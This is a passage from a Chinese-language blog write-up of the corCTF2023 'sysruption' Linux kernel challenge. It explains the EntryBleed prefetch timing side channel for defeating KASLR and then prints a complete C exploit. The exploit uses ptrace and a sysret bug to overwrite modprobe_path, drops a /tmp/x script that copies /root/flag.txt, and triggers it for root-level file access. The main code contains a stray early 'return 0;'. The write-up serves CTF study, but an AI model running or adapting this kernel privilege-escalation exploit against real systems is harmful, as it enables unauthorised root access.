  2. physmap区域的基地址,这是因为内核的gs_base位于这里,并且虚拟地址是固定的

现在已知的情报是在will’s root大师的博客当中前年发现了一个侧信道利用prefetch来绕过kaslr使用,然后顺便去年拿这个发了篇论文🧎‍♂️
EntryBleed
这个攻击手法就是恰好利用了KPTI所遗留的问题:
KPTI恰好是前几年作为熔断(Meltdown)漏洞的补丁所引入的保护措施,他将用户页表和内核页表分离开来,内核拥有所有的映射包括用户的,但是设置了NX位,而用户页表仅仅拥有自身用户态的页表部分和少部分内核的页表项(一般为系统调用入口,这些入口实现为内核函数)
作者利用TLB作为侧信道,当我们预取一个指令之后,下次执行这个指令的时间就会远小于正常情况下的查询页表,而x86_64恰好提供了这样一条预取指令,这里再总结一下EntryBleed的思路,这里以搜索内核代码段基地址为例:

  1. 确定代码段基地址的范围,例如0xffffffff80000000~0xffffffff*
  2. 由于KASLR的粒度为2M,因此我们将地址范围当中每隔2M的地址拿来作为victim
  3. syscall系统调用,用来保持系统调用入口entry_SYSCALL_64存放在TLB当中
  4. 我们执行预取指令,这里预取的地址是我们的victim,如果TLB未击中则会导致预取指令去查询页表,如果TLB击中则表示该指令我们前段时间刚用过,两者差距还是比较明显
  5. 记录当前地址执行的时间然后继续执行第三部遍历完整个地址池

具体的POC直接沿用了原作者论文当中的代码,理解起来并不是很困难,这里仅给出计算时间的汇编,完整代码在最后exp里面给出:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

uint64_t sidechannel(uint64_t addr) {
  uint64_t a, b, c, d;
  asm volatile(".intel_syntax noprefix;"
               "mfence;"
               "rdtscp;"
               "mov %0, rax;"
               "mov %1, rdx;"
               "xor rax, rax;"
               "lfence;"
               "prefetchnta qword ptr [%4];"
               "prefetcht2 qword ptr [%4];"
               "xor rax, rax;"
               "lfence;"
               "rdtscp;"
               "mov %2, rax;"
               "mov %3, rdx;"
               "mfence;"
               ".att_syntax;"
               : "=r"(a), "=r"(b), "=r"(c), "=r"(d)
               : "r"(addr)
               : "rax", "rbx", "rcx", "rdx");
  a = (b << 32) | a;
  c = (d << 32) | c;
  return c - a;
}

这样之后效果如下

然后physmap的地址随机化同样也是使用这个套路,我自己思考过为什么这个EntryBleed可以将之适用,我觉得是在syscall系统调用的地方同样使用了physmap相关的值(至少有)
我们只需要在关闭kaslr查看经常执行时间最小地址相对于physmap首地址的偏移,然后在之后开启kaslr之后剪掉他就得到我们的加上偏移的physmap基地址啦,这里注意他的粒度为1G

这样下去我们就获得了一个在kaslr下的任意地址写原语

0x05 漏洞利用

这里有两种思路:

  1. FizzBuzz大师使用到了CVE-2022-29582中的提权手法,这里暂时还没完成:(
  2. zolutal大师则是使用了较为传统的覆写modeprobe_path,直接使用ptrace修改rsp为modeprobe_path周围的地址来覆盖掉他,这里就不过多解释,当然这里有一个注意点,那就是使用GPF来进行任意写的话可能会覆盖掉一部分重要的数据结构,师傅采用的办法是再来触发一次sysret bug来对所处的地址进行一个复原

这里我暂时只复现了第二种方法

最后利用exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207

#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ptrace.h> #include <sys/reg.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <time.h>
#include <unistd.h>

#define KERNEL_LOWER_BOUND 0xffffffff80000000
#define KERNEL_UPPER_BOUND 0xffffffffc0000000
#define KERNEL_BASE_ADDR 0xffffffff81000000

#define STEP_KERNEL 0x200000
#define SCAN_START_KERNEL KERNEL_LOWER_BOUND
#define SCAN_END_KERNEL KERNEL_UPPER_BOUND
#define ARR_SIZE_KERNEL (SCAN_END_KERNEL - SCAN_START_KERNEL) / STEP_KERNEL

#define PHYS_LOWER_BOUND 0xffff888000000000
#define PHYS_UPPER_BOUND 0xfffffe0000000000

#define STEP_PHYS 0x40000000
#define SCAN_START_PHYS PHYS_LOWER_BOUND
#define SCAN_END_PHYS PHYS_UPPER_BOUND
#define ARR_SIZE_PHYS (SCAN_END_PHYS - SCAN_START_PHYS) / STEP_PHYS

#define DUMMY_ITERATIONS 5
#define ITERATIONS 100

#define KERNEL_GS_BASE 0xffff88813bc00000
#define PHYSMAP_BASE 0xffff888000000000
#define MODE_PROBE_PATH_BASE 0xffffffff8203b840
#define INIT_UCOUNTS_BASE 0xffffffff8203b6c0

#define USER_PATH "/tmp/x"
char useful_shell[] = "#!/bin/bash\ncat /root/flag.txt";

static size_t kernel_base;
static size_t physmap_offset;
static size_t kaslr_offset;

uint64_t sidechannel(uint64_t addr) {
  uint64_t a, b, c, d;
  asm volatile(".intel_syntax noprefix;"
               "mfence;"
               "rdtscp;"
               "mov %0, rax;"
               "mov %1, rdx;"
               "xor rax, rax;"
               "lfence;"
               "prefetchnta qword ptr [%4];"
               "prefetcht2 qword ptr [%4];"
               "xor rax, rax;"
               "lfence;"
               "rdtscp;"
               "mov %2, rax;"
               "mov %3, rdx;"
               "mfence;"
               ".att_syntax;"
               : "=r"(a), "=r"(b), "=r"(c), "=r"(d)
               : "r"(addr)
               : "rax", "rbx", "rcx", "rdx");
  a = (b << 32) | a;
  c = (d << 32) | c;
  return c - a;
}

uint64_t prefetch(int phys) {
  uint64_t arr_size = ARR_SIZE_KERNEL;
  uint64_t scan_start = SCAN_START_KERNEL;
  uint64_t step_size = STEP_KERNEL;
  if (phys) {
    arr_size = ARR_SIZE_PHYS;
    scan_start = SCAN_START_PHYS;
    step_size = STEP_PHYS;
  }

  uint64_t *data = malloc(arr_size * sizeof(uint64_t));
  memset(data, 0, arr_size * sizeof(uint64_t));

  uint64_t min = ~0, addr = ~0;

  for (int i = 0; i < ITERATIONS + DUMMY_ITERATIONS; i++) {
    for (uint64_t idx = 0; idx < arr_size; idx++) {
      uint64_t test = scan_start + idx * step_size;
      syscall(104);
      uint64_t time = sidechannel((uint64_t)test);
      if (i >= DUMMY_ITERATIONS)
        data[idx] += time;
    }
  }

  for (int i = 0; i < arr_size; i++) {
    data[i] /= ITERATIONS;
    if (data[i] < min) {
      min = data[i];
      addr = scan_start + i * step_size;
      // printf("addr[%d]:0x%lx time:%ld\n", i, addr, data[i]);
    }
  }

  free(data);

  return addr;
}

static pid_t trace_pid;
int connection = 0;

static int do_sysret(uint64_t addr, struct user_regs_struct *user_regs) {
  long orig_rax;
  int status;
  struct user_regs_struct regs;
  size_t kernel_gs_base = KERNEL_GS_BASE + physmap_offset;
  memcpy(&regs, user_regs, sizeof(struct user_regs_struct));
  trace_pid = fork();
  if (trace_pid < 0) {
    perror("fork failed");
    exit(1);
  }
  if (!trace_pid) { // 如果为0则说明是child
    if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) {
      perror("PTRACE_TRACEME");
      exit(1);
    }

    asm volatile("wrgsbase %0" ::"r"(kernel_gs_base));
    raise(SIGSTOP);
    fork();
    return 0;
  } else { // 否则是father
    waitpid(trace_pid, &status, 0);
    // 设置选项在下一个fork处停止被tracee，并自动开始跟踪新分叉的进程，该进程将以SIGSTOP
    // 或 PTRACE_EVENT_STOP（如果使用PTRACE_SEIZE）开始。
    ptrace(PTRACE_SETOPTIONS, trace_pid, 0, PTRACE_O_TRACEFORK);
    // ptrace(PTRACE_SYSCALL, trace_pid, 0, 0);
    ptrace(PTRACE_CONT, trace_pid, 0, 0);
    waitpid(trace_pid, &status, 0);
    regs.rip = 0x8000000000000000;
    regs.rcx = 0x8000000000000000;
    regs.rsp = addr;
    regs.eflags = 0x246;
    regs.r11 = 0x246;
    regs.ss = 0x2b;
    regs.cs = 0x33;
    regs.gs_base = -1; // for lessmindly overflowed
    /* construct the fake path */
    ptrace(PTRACE_SETREGS, trace_pid, NULL, &regs);
    ptrace(PTRACE_CONT, trace_pid, 0, 0);
    ptrace(PTRACE_DETACH, trace_pid, 0, 0);
    return 0;
  }
}

int main(void) {
  struct user_regs_struct gift_house;
#ifdef KASLR
  kernel_base = prefetch(0) - 0xc00000;
  physmap_offset = prefetch(1) - 0x140000000 - PHYSMAP_BASE;
  kaslr_offset = kernel_base - KERNEL_BASE_ADDR;
#else
  kernel_base = KERNEL_BASE_ADDR;
  physmap_offset = 0;
  kaslr_offset = 0;
#endif

  printf("[+]KERNEL_base %lx\n", kernel_base);
  printf("[+]KALSR offset base %lx\n", kaslr_offset);
  printf("[+]physmap_offset %lx\n", physmap_offset);
  for (int i = 0;
       i < sizeof(struct user_regs_struct) / sizeof(unsigned long long int);
       i++) {
    ((unsigned long long int *)&gift_house)[i] = 0x782f706d742f;
  }
    return 0;
  system("echo -ne \"#!/bin/sh\necho peiwithhao\ncp /root/flag.txt "
         "/tmp/hackyeah\nchown ctf:ctf /tmp/hackyeah\" > /tmp/x");
  system("chmod 777 /tmp/x");

  system("echo -e '\\xff\\xff\\xff\\xff' > /home/ctf/fake");
  system("chmod 777 /home/ctf/fake");

  do_sysret((uint64_t)MODE_PROBE_PATH_BASE + 0xa0 + kaslr_offset, &gift_house); //
  puts("[+]Will get shell");
  sleep(3);
  for (int i = 0;
       i < sizeof(struct user_regs_struct) / sizeof(unsigned long long int);
       i++) {
    ((unsigned long long int *)&gift_house)[i] = 0xAAAAAAA + i;
  }
  gift_house.r14 = 0xffff888100049600 + physmap_offset;
  gift_house.r13 = 0xffffffff82649160 + kaslr_offset;
  gift_house.r12 = 0xffffffff8203a320 + kaslr_offset;
  gift_house.rbp = 0x2c00000000;
  do_sysret((uint64_t)INIT_UCOUNTS_BASE + 0xa0 + kaslr_offset, &gift_house);
  puts("[+]Gets the fake file....");
  sleep(1);
  system("/home/ctf/fake");
  system("cat /tmp/hackyeah");
  return 0;
}

0xFF Nice Blog/Paper

Google Project sidechannel

Xiaozaya师傅的复现

FizzBuzz大师出题手记

EntryBleed攻击手法的提出

zolutal一血解法 帅

早期Sysret bug提权
EntryBleed

CTFwp
#PWN #Linux #Kernel #Syscall
corCTF2023-sysruption赛题复现
https://peiandhao.github.io/2024/05/23/corCTF2023-sysruption/
作者
peiwithhao
发布于
2024年5月23日
许可协议